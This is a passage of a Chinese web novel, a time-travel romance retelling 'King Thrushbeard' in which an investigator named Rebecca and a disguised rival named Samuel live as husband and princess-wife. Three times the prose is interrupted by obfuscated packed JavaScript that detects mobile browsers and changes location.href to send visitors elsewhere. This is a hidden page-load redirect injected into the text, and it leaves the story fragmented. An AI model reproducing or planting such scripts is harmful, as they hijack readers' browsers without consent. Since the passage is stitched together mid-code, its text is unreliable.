d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359690|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到此界的塞缪尔,变成了公主…… 总之,这一切都要怪它的宿主,是个不折不扣的恋爱脑! 听完NO.2的指控,塞缪尔张了张嘴,一时半会儿还真无法辩驳。 原因无它——他拼命爬到第二名来,本来也不是为了向第一名发起挑战的…… 偏偏他满心满眼、一直注视着的那个人,目中无人到了一种全世界只剩下她自己的地步——她不知道是眼瘸呢,还是脸盲呢,自己长得这么好看,两人见过那么多次面,一起开过那么多次会——他甚至次次都坐在她身边! 可她愣是一次也没想起来他。 虽然瑞贝卡作为001号调查员,从来只有别人主动向她打招呼的情况,她作为德高望重的大前辈,只要心安理得地坐着接受就好了。 但塞缪尔就是知道,她其实根本没记住他——每一次,她向自己投来的眼神中都有惊艳和痴迷,却唯独没有熟悉。 换句话说,那根本就是看陌生人的眼神。 所以,无能的暗恋者塞缪尔只好通过挑衅瑞贝卡来试图引起她的注意。 他公开叫板她那么多次,她却从未回应过。久而久之,整个时空管理局上下,都知道新来的小菜鸟与首席势不两立——虽然只是他单方面的,因为大家都不相信以瑞贝卡的性格会跟别人结下梁子,一致认为是塞缪尔在挑事,纷纷等着看他笑话。 但众人眼睁睁看着他从百名开外一路向上爬,直到爬上了NO.2的位置才停下来,又纷纷感慨恨果然是比爱更为强大的力量。 一部分人甚至将他奉为偶像,喝鸡汤喝得津津有味。 但就目前情况来看,这个方法仍然收效甚微,因为调查员在进入任务世界时,外貌完全不会产生变化,只会根据角色年龄变得年轻或衰老——可瑞贝卡看向他时,依旧和以前一模一样: 惊叹有之,欣赏有之,独独少了一样东西。 ——那就是不管面对宿敌还是挚友时,无论如何掩饰不了、也伪装不出的熟稔。 「难道是因为我完美得没有特点,所以她记不住我长什么样么?」 这条漫长得看不见尽头的暗恋之路让塞缪尔感到十分挫败,入职时空管理局的这几个月里,他已经数次对自己引以为傲的外貌条件产生了怀疑,忍不住对着镜子看了又看,「她到底喜欢什么样的人呢……」 要说他身上最吸引人的,一定是这双绿眼睛: 它们如两汪由浅及深的青碧湖泊;在暗处时,又像绿幕重重的热带雨林,鲜绿透亮的叶片与叶片堆叠着,就连向来普照大地的阳光也难以穿过其间。 他的黑发也很漂亮:发量不仅多,而且乌墨油亮,瀑布似的披在背上,一根干枯的分叉也找不见。 再往下看,鼻子、嘴唇、下巴、脖颈、肩膀、腰腿……平心而论,即使他不自恋,他也无法从自己身上找出任何一处不完美的地方。 可为什么她还是注意不到自己呢? 难道是他心灵不够美么? 「谁知道呢,或许她喜欢你不喜欢她也未可知呢?我记得心理学有个术语叫“回避型依恋人格”——大佬总都有点怪癖,这不很正常嘛。」 次空间里的NO.2一边接话,一边用它细伶伶的手臂嘿咻嘿咻举哑铃。 每时每刻,它都在为一脚踢开NO.1、夺得最强系统的桂冠而不懈奋斗着! 它已经被这两公婆折磨得看淡尘世、超然物外了,如今只有熊熊燃烧着的斗志支撑着它继续搭理它的恋爱脑宿主,「我看你也别总是巴巴往上凑了,都说距离产生美,你看,你一个情难自禁,急吼吼表白,就把她吓跑了吧?要我说,你还不如直接抢走她NO.1的宝座,保管她绝对忘不掉你。」 ……那恐怕就不能叫忘不掉他,而是恨他恨得咬牙切齿了吧? 「断人财路如同杀人父母,瑞贝卡分奴成那样,你是希望我们像罗密欧与朱丽叶,来一出旷世虐恋?」 塞缪尔再一次确认自己的外表完美无瑕后,总算愿意收起镜子。他站起身,理了理裙摆,打算出门打猎。 ——顺便找一找他那久不归家的“丈夫”。 「跨时空调查部竞争激烈,她能守住头把交椅那么久,肯定付出了很多努力——再说了,你真的觉得,自己这么容易就能打败NO.1?」 他这次跟着她一起钻进时空缝隙里来,已经算是违规操作了。但当时情况紧急,他一时也想不出其它更好的方法。 等他再回过神来时,已经穿戴着丽服华冠,坐在宫殿之中了。 从前他也不是没参加过多人任务,大家一般都会被投放到同一地点——但睁开眼发现瑞贝卡不在自己身侧时,天知道他有多么恐慌,心中不断责怪自己太过冲动鲁莽。 不该就这样贸贸然闯进来的。 自己怎么样无所谓,但她绝对不能出事,否则…… 「……能不能的,以后谁又能知道呢?再说了,我畅想一下也不行啊?」 一听最后这句扎心的话,NO.2忆起刚才的交手,瞬间哑火,颇不服气地小声嘟囔:「你到底是谁的宿主,还没嫁出去就胳膊肘往外拐,瑞贝卡呆成这样,小心竹篮打水一场空。」 「你多虑了,我从来没有失败过,这次也不会。」 塞缪尔最听不得别人说他会失败,当即便轻描淡写回道。 尤其他坚信,自己的外貌绝对是她喜欢的类型。 NO.2吵不过自家宿主,气咻咻地闭目养神去了——与主系统断开连接的不止NO.1,NO.2也是一样。 生气可是很消耗能量的,它才不要跟这个倔驴宿主怄气,白白浪费能量。 塞缪尔侧耳细听,确定随身次空间中的NO.2再无动静后,他点开了自己的时空管理局内部邮箱。 最新一封邮件是四天前收到的,随信附了一个道具。 发件人一栏里,那三个汉字尤为瞩目。 虽然塞缪尔不认识中文,但他认得出,这是时空管理局局长的名字。 7. 歌鸫胡王子(7) 瑞贝卡再回来的时候,手里拎着把锋利的斧头,肩上背着个足有一人高的大背篓,沉甸甸的装满了东西。 她顿了顿,推开那扇摇摇欲坠的可怜木门——这门之所以变成这样,全因她几小时前太过慌乱,险些真的夺门而出——就见她的新婚妻子握着一柄小刀,刀尖正深陷在不断扑腾着尾巴挣扎的鱼身中,似乎想把它破肚开膛。 “老公,你总算回来了。” 公主闻声抬头,精巧的下颌上沾了几滴鲜红的鱼血。 她对瑞贝卡温柔一笑,看在瑞贝卡眼中,一时说不出是红唇还是鱼血更瘆人。 “你去哪儿了?我正准备烤鱼做晚饭呢。” 塞缪尔面上虽然柔和,心里却在埋怨瑞贝卡狠心,她不想让人找到的时候真是任何人都找不到她,他急得团团转偏偏又毫无办法。 尽管以她的实力,很大概率是出不了什么意外的,但这个表面平静的童话世界已经有那么多调查员一去不返了,他实在忍不住多想。 「可怜的公主,饿坏了吧。」 NO.1一时不察,被她笑得一晃神,完全将公主几个小时前的“以德报怨”抛在脑后,被瑞贝卡一瞪,这才想起来,忙捂着嘴不敢吱声了。 事情要从瑞贝卡落荒而逃的那一刻说起—— 她一口气跑出去,直到溪边才不得不停下来,往水里一看,差点儿没给自己吓一跳,忙掬水洗起脸来。 “这……亏她下得去嘴!” 瑞贝卡前天的伪装非常到位,她不仅在牙上和手上涂了那种染料,就连脸上和身上也抹了薄薄一层,还得再洗几次澡才能慢慢淡下去。 现在这副尊容,连她自己都不敢多看……她甚至还从眼角洗出了一颗已经变硬结块的眼屎。 ……公主真该去治治眼睛了。 闻言,NO.1啧啧两声,「我就说你对她太温柔了吧,现在的策略是行不通的,你得让公主讨厌吟游诗人才行。」 于是瑞贝卡当即决定马上继续走剧情。 她砍了些柳枝,直到塞满了整整一背篓,又使出吃奶的劲儿压了压,继续往上垒砍成长块的木头。 确定再也放不下之后,这才背上它回来。 公主站起身,像每一个需要干活的民妇一样在裙摆上擦了擦手,走过来迎接她的丈夫。 她帮瑞贝卡卸下肩上的背篓,手上蓦地一沉,篓底嘭一声重重砸在地上,激起无数尘土。 塞缪尔:“……” 连他的肩膀都被带得一沉,她的力气真的好大。 “这些都是什么?”公主柔声细语地问瑞贝卡。 “老婆,我们光吃饭,不挣钱,这样下来,不长久的。” 瑞贝卡依然不敢看她的眼睛,硬着头皮念台词,“你应该编筐来卖钱……” 尾音还没落地,公主突然从裙子的口袋里掏出一样东西塞到她手中。 瑞贝卡低头,发现是一枚金币,圆溜溜、金灿灿。她放到牙上咬了一下,差点儿没给她牙崩坏,忙捂着嘴嘶嘶吸气。 “我有钱。”公主看着她笑,碧波荡漾,水光温柔,“我来养你。” “啊?” 瑞贝卡惊得脖子往前一伸,下巴都快掉到地上了。 这不对吧?! “出宫的时候,抓了一把金币。” 公主对她嫣然一笑,拎着裙摆优雅地转了个圈,向她展示自己的裙子,那些金币在她的口袋里相互碰撞,叮当作响,“这条裙子有兜。” 瑞贝卡看了看公主那双拎着裙摆的大手,沉默了。 换作公主以前那些礼服裙,设计师不可能设计口袋,裁缝也不可能缝制口袋,因为不美观,而且公主也用不上口袋——她每走一步,就有数十个甚至上百个人跟着她动,去哪儿都有人伺候,怎么会有需要自己付钱的时候呢? 国王不允许她穿着礼服出宫,只让她穿平民的衣服,这反而恰好方便了她带上金币……估计国王自己都没想到这一点。 「这是什么霸总发言!」 NO.1的小黑屏幕上顿时出现两个星号——这甚至是它第一次对除瑞贝卡以外的人冒星星眼。 「公主怎么比原著里写的聪明了那么多?金币碰撞的声音真是令人神清气爽啊……」 ——对啊,她怎么没想到! 说者无心,听者有意。次空间内,瑞贝卡的小人深深朝NO.1看了一眼,暗自留了个心眼。 迄今为止,公主所表现出的异常,实在是太多了。 “咳咳,听上去不错……” 但现在还不能让公主发觉自己在怀疑她。 瑞贝卡手动把下巴往上一推,抢回话头。 “但是!别骄傲!女——呃不,男儿当自强,要靠老婆养,你把我当什么人了?” 虽然原著里,歌鸫胡王子就是这么干的——公主嫁给吟游诗人期间,编筐是她编、纺纱是她纺,卖陶器也是由她出面。吟游诗人在其中出了什么力,作者却几乎没有写到。 她可不认为砍了些柳条、进了些货物,就是出大力气了——这对她来说都是小菜一碟,对王子而言肯定也是很容易的事嘛! 甚至他在没怎么出过力的情况下,还净捣乱: 歌鸫胡王子扮作的轻骑兵,纵马踏碎了公主摊上的陶器;公主围裙里的剩饭剩菜洒了一地,最为窘迫之际,他还非要拉住她,把人带回宫殿里,全然不顾别人会怎么看她。 那时候公主的生意才刚有点起色,生活条件才刚有所好转,却再度受到了打击,回去向他哭诉,结果得到了一顿臭骂,说她什么也做不好—— 这么一想,公主不恨他才怪呢,又怎么会爱上他? 这样都没有一点脾气的话,公主干脆改名叫软绵绵好了。 瑞贝卡接过公主手里的尖刀,走出门,用刀背把鱼拍晕,然后利落地刮掉鱼鳞,剖开鱼腹,去除内脏,再把鱼穿在树枝上,生火烤鱼。 虽然她砍木头回来并不是为了烤鱼,但不得不说,它们正好派上了用场。 再就是瑞贝卡发现这几条鱼还很新鲜,不用考虑去腥问题,倒也省事多了,不然这荒郊野岭的,上哪儿弄姜去? ……可公主又是从哪儿弄来这么活蹦乱跳的鱼的?难道是她亲自去捕的? 公主竟然会捕鱼?说出来有人信才怪。 可如果不是她捕的,这些鱼到底从哪儿来的呢? 瑞贝卡不着痕迹地扫过公主的裙摆,想看看是干燥还是潮湿的。 但还没等她看出来,目光已不自觉被一处异常吸走—— 公主的脚怎么这么大?! 瑞贝卡眼眶微微睁大,眼珠子忍不住偷斜一寸,再偷斜一寸。 她和公主相处已经有一天一夜,竟然完全没发现对方的脚有这么大。 「你全看脸去了,哪儿还能注意到别的?」 NO.1也看了看公主的脚,「她个子这么高,脚大也正常吧,否则像个倒立圆锥,那才叫不正常。」 ……也对。 瑞贝卡想象了一下圆锥形的公主,顿时觉得那画面太美,她不敢看。 金刚芭比莫过如是。 鱼很肥美,不用涂油,只需控制好火候,避免把表皮烤得过于干焦即可。 至于调味品,瑞贝卡已经叫NO.1从次空间仓库里取出半瓶椒盐来,趁着公主不注意,偷偷撒在上面。 还好有之前出任务用剩的,否则以现在无法使用积分商城的情况,这鱼就算闻着再香,尝起来味道也好不到哪里去。 「公主不怀疑就奇怪了。」 NO.1嘴上虽然吐槽,眼睛却始终直勾勾盯着焦香扑鼻的烤鱼,泪水都快从它的嘴角流下来了。 烤鱼……烤鱼瘾犯了……NO.1要吃烤鱼…… 瑞贝卡见它实在嘴馋,便偷偷取下一条已经烤得差不多的鱼丢进次空间,被NO.1两条细线手臂精准接住。 它一边啃,一边热泪盈眶地大赞瑞贝卡真是个好宿主,不仅善解统意,厨艺更是一流。 「怀疑就怀疑,我还不会说这是海水鱼吗?」 瑞贝卡转动着扦子,颇为理直气壮。 「反正公主肯定不认得这究竟是哪种鱼。」 烤好之后,她招呼公主坐下来吃饭,就见公主吹了吹热气腾腾的鱼肉,轻轻咬下一口,便陷入了沉思。 原来烤鱼应该这样做才好吃…… 塞缪尔暗下决心,他回去之后,一定要勤加练习,不能再让她看见他跟鱼搏斗了。 但他只是不擅长烧烤,并非不擅长煎炸烹炒,以后有机会,一定要展示给她看,扳回这一城,洗刷今日的坏印象! “不好吃吗?” 瑞贝卡有些惴惴不安。 她已经等着公主质问自己,这鱼哪儿来的咸味了。 “没有,你的手艺很好。” 公主回神,对她展颜一笑,绒绒眼睫如两弯新绿嫩芽,“你……做给别人吃过么?” 她没有问盐的事情,瑞贝卡已经大大地松了一口气。她一时松懈,嘴上就没个把门,快言快语道:“给同——一同乞讨的其他人做过。” ……好险,差点说漏嘴了。 不该得意忘形的。 然而再看公主,她脸上的笑意却已经消失了,碧眸沉沉,周身弥漫着一股说不出的阴晦。 见瑞贝卡小心翼翼往她脸上瞧,公主冷淡地别过头,不让她看。 「我又哪里惹到她了?」 瑞贝卡丈二和尚摸不着头脑。 「对呀,你又哪里惹到她了?真是女人心,海底针。」 NO.1也摸不着头脑,摇摇头。 「本来以后还想找个对象,看你还要费尽心思哄她,我还是单着好了。」 ……系统都是无性别生物——不,甚至连生物都不是。 所以,NO.1是想找个系统跟它对食吗? 两个小机器人面面相觑,那画面简直不要太美。 瑞贝卡一边窃笑,一边警告它:「你说话小心点,我也是女人。」 「知道了啦,人家这不是在为你打抱不平嘛……有异性没人性的家伙,哼。」NO.1悻悻道。 ——哎不对,公主不是同性吗? 算了算了,能表达出那意思就好。 瑞贝卡没空理它。见公主明显不高兴了,她赶紧在衣摆上擦干净手,握住公主的双肩,轻轻把人掰正过来,让她直视自己。 “怎么啦,突然就不高兴了?” “……你以后不许做给别人吃。” 公主望着她,嘴唇抿得死紧,好一会儿才闷闷不乐道。 「我靠!公主这是吃醋了啊!」NO.1大喊。 「去去去,别来捣乱,吃你的烤鱼。」 瑞贝卡把NO.1赶走,觉得当务之急还是先稳住公主要紧,于是也认真地回望她,笑道:“好,以后只做给你吃。” 反正走完剧情后她就要离开这个世界了,公主总不能跟着她到另外一个世界去吧? “……你想知道我的名字么?” 对于瑞贝卡的郑重承诺,公主抿了抿唇,并没有表现出满意或欣喜,而是话锋一转,主动提出要告知她自己的名字。 他攥紧了膝上的裙摆,手心的汗不断渗入布料中。 刚进入任务世界那天,国王曾经叫过他的名字,她记住了么? ……肯定没有吧。 不管怎样,这次,一定要让她记住自己。 已经结婚了还不知道妻子的姓名,似乎太说不过去了——面对这一危险性十足的问题,瑞贝卡和每一个耙耳朵的丈夫一样精神一振,直觉自己必须好好回答。 “害,我们已经结婚了,还讲什么想不想知道的。我当然知道!你叫塞、塞……” 瑞贝卡绞尽脑汁,愣是没塞出个所以然来。 塞琳娜?塞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359691|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕾娜?塞西莉亚?塞尔维亚? ……膝盖怎么有股幻痛,好像正跪在搓衣板上似的。 「是塞缪尔啦,笨蛋老大!再塞下去,脑子都要堵了。」 眼见对面人的眼眸颜色越来越深沉,NO.1啃着烤鱼含糊不清道。 统不嫌主笨,关键时刻,还得靠它出马。 只不过……这个名字,听起来怎么那么不像人名呢? 而且还很耳熟,似乎之前就在哪里听过。 是哪里呢…… “我知道了!你叫塞、塞……塞缪尔!” 瑞贝卡如蒙大赦,依言试探地喊出对方的名字,果然见人面色好转,当即就知道自己这回肯定喊对了,不由松了一口气,嬉皮笑脸道:“嘿嘿,为夫只是在逗你玩儿啦,我怎么可能会不记得心爱的妻子的名字呢?” 公主闻言,眼中顿时冰雪消融。 她仰脸朝瑞贝卡莞尔一笑,眼中的春水多到几乎要溢出来,柔声道:“你记得就好……” 说完,就去拉她的手,想将那只手牢牢握在掌心。 她已经有进步了,这次至少终于记住了他的名字……他好高兴,能从她嘴里听见自己的名字,以往连想都不敢想,这三个音节就已经像礼物一样从她的唇瓣中吐露而出了:她的嗓音是多么悦耳、这三个音节又是多么美妙!他终于等到这一天了,他绝对不会忘记—— 「……不对。」 「——不对。」 NO.1和NO.2突然同时出声。 两人的动作跟着同时一僵。 「哪里不对?」 瑞贝卡和塞缪尔齐齐问道。 「我靠,我还有脸说老大是笨蛋呢,我自己也是笨蛋!」 NO.1懊恼不已,两只芝麻大点的小手悔得拼命捶自己脑袋。 「那天在宴会厅里的是去向公主求婚的歌鸫胡王子,才不是你这个穷酸的臭乞丐呢!」 「她露出马脚了,哈哈!」 NO.2则是无不得意,尾巴都快翘上天了。 「一个一靠近王宫就会被赶走、根本没有机会接触王室成员的穷酸臭乞丐,怎么可能会知道公主的芳名!」 ……像一对关节没上润滑油的木偶,瑞贝卡和塞缪尔一卡一卡地,艰难转动脖子看向对方。 金眸与绿眸对视,双双从对方眼里看出了惊愕与恐慌——脑子里惊雷炸响,劈得两人心里的小人齐刷刷抱头鼠窜。 表面上却不得不强装镇定。 “念、念誓言的时候……神父说出了你的全名。”瑞贝卡找补似的,略有些结巴道。 还好她急中生智,想起了那一幕。 “嗯、嗯……我当然记得。” 塞缪尔知道她说的是婚礼上那一幕,忙点头如捣蒜表示自己记得。 好险……两人都暗自松了口气。 一个拼命掩饰,一个不想拆穿,脑回路倒是奇迹般地对上了。 这一茬儿总算过去。这顿饭夫妻俩吃得各怀心事,觉也睡得同床异梦。 但唯一不变的是——这屋子绝对不能再住了! 她也绝对不要再跟塞缪尔同床共枕了!! 清晨,瑞贝卡再一次坐起来,呸呸往外吐出满嘴的沙土,愤愤地想。 昨晚的塞缪尔比第一个晚上还要过分! 她不仅依旧往自己身上挤,把她挤得整个人黏在墙上,简直快压成了肉饼,而且还像树袋熊抱树枝那样,双手双脚死死缠在她身上,勒得瑞贝卡险些喘不上气,一觉醒不来就要让塞缪尔当寡妇了。 ——又或者,塞缪尔嘴上说喜欢她,背地里却还是在恨她?所以才故意装睡想趁夜勒死她,之前那些甜言蜜语都是虚与委蛇? 真是细思极恐。 被妻子杀死的概率很小但绝不为零,看来还是得赶紧继续走剧情才行。 故而塞缪尔抱着纸包一回来,看见的就是双颊气得黑红、叮叮当当拿着锤子正敲得起劲的瑞贝卡。 ……黑红是因为她脸上的颜料还没掉完,就算现在去参加种地节目也毫无违和感,甚至观众肯定会认为她是个经验丰富的老农民,毕竟没有十年的辛苦劳作晒不出这肤色。 “怎么不多睡一会儿?” 瑞贝卡眼神专注、挥洒汗水的认真样子十分迷人。塞缪尔着迷地看了许久,才走进屋内,把纸包和她要他带的东西放在桌上,朝她含笑道:“先来吃点儿东西吧。” 今天的早餐是烤红薯和蜂蜜面包,瑞贝卡觉得不配点牛奶真是可惜。 塞缪尔依旧看着她吃,脸上的笑意怎么也退不下去,仿佛只是看着她吃就饱了似的。 但这目光太过灼热,实在叫人无法忽视。瑞贝卡总觉得自己在虐待她,于是把咬过一口的面包递到她唇边。 却没想到塞缪尔并未找个她没下过嘴的地方,而是就着她的咬痕,轻轻地啃了一小口,齿痕与齿痕紧紧挨着,不分你我。 咬完,还望着她微笑,看起来很高兴的样子。 瑞贝卡:“……” 两个系统早就没眼看了,摇摇头,不约而同躲进次空间深处。 NO.2两只小手还戴着拳套,一边捶沙包一边念叨:“死情侣,臭情侣……” 饭后,瑞贝卡把昨天背回来的背篓拖过来,里面的木头已经尽数取出,露出底下的柳条。 “虽然你的钱,我们可能一辈子都花不完,但凡事总有例外,因此你也要学一门傍身之技。” 塞缪尔知道他们无论如何必须开始走剧情了,于是也没有反对,顺从地取出柳条来,尝试着编成小筐子。 在他编筐时,瑞贝卡带着工具出门,用她昨天砍来的木头和塞缪尔带回来的钉子,建一座小木屋,顺便再打两张床。 这里环境实在太差,公主还没叫委屈,她这个做丈夫的倒先受不了了。 眼瞅着还要在这儿呆上十天半个月,不如尽量让自己过得舒服一点。 8. 歌鸫胡王子(8) 落日缓缓向山头坠去,一天过去,瑞贝卡顺利建起了一座小木屋,住两个人刚刚好。 卧室空间有限,但她还是打好两张床,并排放在一起,中间隔了大概两条手臂并在一起那么宽的距离。再从次空间仓库中取出床上用品和其它家具,就大功告成了! ——这样塞缪尔就不会再挤她了吧!哈哈! NO.1也表示心疼她,「我从来没有见过睡姿这么差的公主。」 「这话说的,你见过几个货真价实的公主?」 瑞贝卡本能地替她说话,「其实她睡姿也不算差,只是那张床实在太小了,翻身都难,更何况躺了两个人呢?」 NO.1:「……」它再给自己找不痛快它就是狗。 死情侣、臭情侣,哼! 瑞贝卡挑的地方离原来那座小土屋不远,大概一两百米。但新家坐落在森林之中,依山傍水,不仅比原先环境好上不止一星半点,距离城市更近,生活也更为便利。 站在小木屋前,瑞贝卡叉腰抬头,看了又看,满意得不得了,当即决定马上把公主接过来过好日子。 NO.1小声嘟囔:「说好要继续让她吃苦头,结果还是屁颠屁颠建了更好的房子,恋爱脑病得都没你重。」 瑞贝卡狡辩道:「是我自己想住,关公主什么事?原来那棺材房你受得了?」 看看,新家的玻璃窗,多么干净透亮!光是看着就令人心情舒畅。 对比之下,她竟然强忍着在棺材房里住了一天一夜,真是苦尽甘来。 虽然依旧比不上时空管理局给她分配的大房子,但也比连窗户都没有的小土屋好多了。那房子一淋雨,土墙吸了水后必定松垮坍塌,万一半夜下起雨来……她还不想英年早逝。 NO.1:「……你就嘴硬吧。」 一人一统说话间,瑞贝卡已经走到小土屋门口。她鼻尖一动,敏锐地闻见了里头正弥漫着一股铁锈味。 ……不,应该说,是血腥味。 她心中一紧,忙打开门。 屋内光线极差,昏黑无边,唯有一小片因门打开后照进去的光明。 只见塞缪尔无措地坐在那片光明中,白嫩的手指鲜血横流,染得青翠的柳条都发黑。 她听见瑞贝卡开门的动静,便抬起头来望向她,瞳孔骤缩,眼底有些湿润。脚边还散落着几只足球大的筐子,编得歪歪扭扭,筐身上的孔有的大有的小,不仅不美观,使用起来估计也够呛。 瑞贝卡紧蹙着眉,几步上前,握住塞缪尔的手,用之前从积分商城兑换出来的医用棉球,给她清洁伤口,然后仔仔细细地包扎好,才说:“……照我看来,这样下去行不得。最好还是试试纺纱,没准你纺起纱来,会比编柳条筐子能干些。” 「手都伤成这样了,还要人家去纺纱。」NO.2抱怨道。 虽然事实是,塞缪尔听见了瑞贝卡的脚步声,才摘掉手套、拿起柳条戳伤指尖,好让她第一时间看见自己伤口流血、可怜巴巴的凄惨画面,从而产生怜惜之心。 但这并不妨碍NO.2为主人打抱不平。 「不要说她,她也是为了走剧情。」 塞缪尔目不转睛盯着她低垂轻颤的睫毛,轻声道:「这都是原著中的台词,她肯定也不想这样的。」 血珠滴落在裙面上那一刻,他垂眸,注视着它越缩越小,直至完全渗透入布料中,心中甚至止不住地庆幸,是由自己来扮演公主。 如果换作是瑞贝卡,如果换作是她伤成这样…… 塞缪尔想象不出自己会做出什么事来。 「拜托,有没有搞错?」NO.2翻了个白眼,「我是在为你打抱不平好不好?」 以后再遇到这种情况,它多说一句它就是狗。 不止指尖,公主的掌心也被刺出了许多细小的伤口,所以瑞贝卡给她两只手都缠上了厚厚的纱布。 无处下手……瑞贝卡纠结了一会儿,最后选择握住她的手腕,说了句“跟我来”。 小土屋里也没什么行李可带的,反正新家什么都有。 倒是瑞贝卡攥着公主的手腕、领着她走向新家的路上,始终保持着沉默。 ……奇怪,公主的手腕怎么这么粗呢? 粗得她一只手都快攥不住了。 但回想起NO.1的“圆锥体公主”理论,瑞贝卡顿时又觉得很合理。 想必她只是骨架大了一点而已……并不能证明什么。 天边悄然爬上一抹橘红,森林之上,整片天幕慢慢开始燃烧起来,无数云块为四溢的霞光所映照,灿金通红。 飞鸟呼朋引伴,竞相投林。 瑞贝卡和塞缪尔相携着走在草地上,一步步向着灯火通明的小屋而去。 他们也要回家了。 塞缪尔站在瑞贝卡仅用一天的惊人速度便搭建好的木屋前,微仰着头,有些惊讶。 “你……连搭房子也会?” 虽然他知道她技多不压身,但没想到竟然厉害到这种程度。 “嗯哼,还等什么?快进来吧。”瑞贝卡得意道。 两人推门入内——这扇门甚至都比小土屋那扇摇摇欲坠的门要牢靠,里面还放置了几件简单的家具,显得十分温馨。 虽然塞缪尔一眼就看出它们都是从积分商城里兑换而来的,但这并不妨碍他眼眶有些发酸。 他们、的家…… 一直悄悄关注着他、生怕他不喜欢的瑞贝卡见他眼眶通红,忙问他怎么了。 然而还没等她听见塞缪尔回应,唇角忽地一软—— 塞缪尔在她颊边落下一吻,又飞快抽身离开了。 “谢谢。” 塞缪尔眸光温柔地注视着她,眼中水波潋滟。 “我很高兴,能住上你亲手搭的房子。” “不、不用客气……” 要是把玉米粒那次也算上,公主这是第二次亲她了。 瑞贝卡的脸倏地一红,忙提高了音量掩饰,“毕、毕竟也是我要住的嘛!” 说罢她就背过身去,装作查看窗台的样子,这儿摸摸、那儿敲敲…… 「老大,你的脸好红。」 NO.1依旧在不断试图向主系统发起联络请求,忙里偷闲往外看了一眼,恰好瞧见瑞贝卡脸红得跟猴屁股似的站在窗边不知道在捣鼓什么,并不清楚前因后果。 它关心道:「要吃退烧药吗?」 「不要。」被NO.1这么一打岔,瑞贝卡瞬间冷静下来,「联系上主系统了没?没有就抓紧点干活。」 「干什么!人家只是关心你一下嘛……」NO.1嘁了一声,「好心当作驴肝肺,中式教育你赢了。」 这个笨蛋…… 塞缪尔望着瑞贝卡浑身上下写满不自在的背影,摇摇头,微微笑了。 然而这抹笑意在走进卧室时,立刻荡然无存—— “……为什么会有两张床?” 塞缪尔盯着那两张铺着碎花床单的温馨小床,冷声问。 甚至是有些咬牙切齿了。 “哦,这个呀。”瑞贝卡听见他的询问,走过来,探头往里看。 她还没发现他语气中的异常,如实道:“床太小了,我们俩个子都挺高的,你睡觉还不老实,每晚都挤得我很难受,我就做了两张……” ……去她的睡觉不老实,他那明明是——! 塞缪尔眼眶又一红——刚才是感动的,这回是气的。 他这辈子也没想过自己还有搬起石头砸自己脚的时候,下唇已经深深咬出一道齿痕,嘴上却依然要收敛好所有的情绪,委屈道:“可夫妻都是要睡同一张床的……” 瑞贝卡一听,心道被挤的不是你,你当然能说出这种话。 话虽如此,两人到底还是夫妻关系,她本来想哄一哄,临了却突然想起NO.1那番“对公主太好不利于剧情展开”的言论,便将脸一板,冷哼一声,佯怒道: “不睡?不睡你就滚出去,这是我的房子。” 话音落地,许久都等不到公主的反应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359692|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑞贝卡一抬头,就见塞缪尔脸色阴沉可怖,那双剔透的绿眸猩红得几乎渗血,正恨恨瞪着自己,仿佛她干了什么十恶不赦的坏事。 「我去,老大,现在我觉得你比歌鸫胡王子还要可恶了,至少他没说过这样的话。」 两人正相对无言,NO.1突然出声,连会被瑞贝卡赶去干活也顾不上了。 「这话有什么不对?」瑞贝卡一头雾水,真的不知道自己错在哪里,「我刚才下意识就这么说了,我爸妈以前经常对我说这句话。」 「噢不……可怜的老大……」 NO.1语带怜悯,连屏幕上的符号都变成了两个T。 「这话真的很伤人,基本上就是在骂对方寄人篱下了,老大你以后千万不要再对别人说了……对了,那你父母?」 「出车祸被撞死了。」 NO.1:「……」 「我没开玩笑。那天暴雨,他俩非要趁着黄灯开过去,结果斜刺里突然闯出来一辆车……」 瑞贝卡语气不辨喜怒。 「我一个人在后座,捡回一条命。」 ……太地狱了,NO.1决定以后要对自家宿主加倍地好。 连贱也不想着犯了。 跟NO.1沟通过后,瑞贝卡已经充分认识到自己这话说得太过分,下意识就去拉塞缪尔的手想跟她道歉,却被一把甩开了。 瑞贝卡瞬间瞪大了眼睛,看看塞缪尔,又看看自己空落落的手心。 以前每次她靠近塞缪尔,对方不是对她微笑,就是直接过来牵她的手。 这样被甩脸子……还是第一次。 塞缪尔看也不看她,径自走到会客厅一角的纺纱机前坐下,一点一点拆掉了手上裹得厚厚的纱布,然后尝试着踩起踏板、捻丝结线来。 瑞贝卡赶紧跟过去,蹲在一旁,老老实实道歉:“对不起,我不该那样说你。” 塞缪尔一语不发,只当没看见她,自顾自旋紧线。 “对不起……我真的不是有意说那些话的,我没想赶你走!你理理我嘛,好不好?” 虽然积分商城提供的外伤药效果极佳,但也不可能在短短几个小时之内就将伤口完全治愈。 眼见公主柔软的指腹被硬纱线勒得通红,很快就要渗出血来,瑞贝卡一时心急,伸手就要捉住她的手指,却猛地被纺锤上的尖刺刺中—— 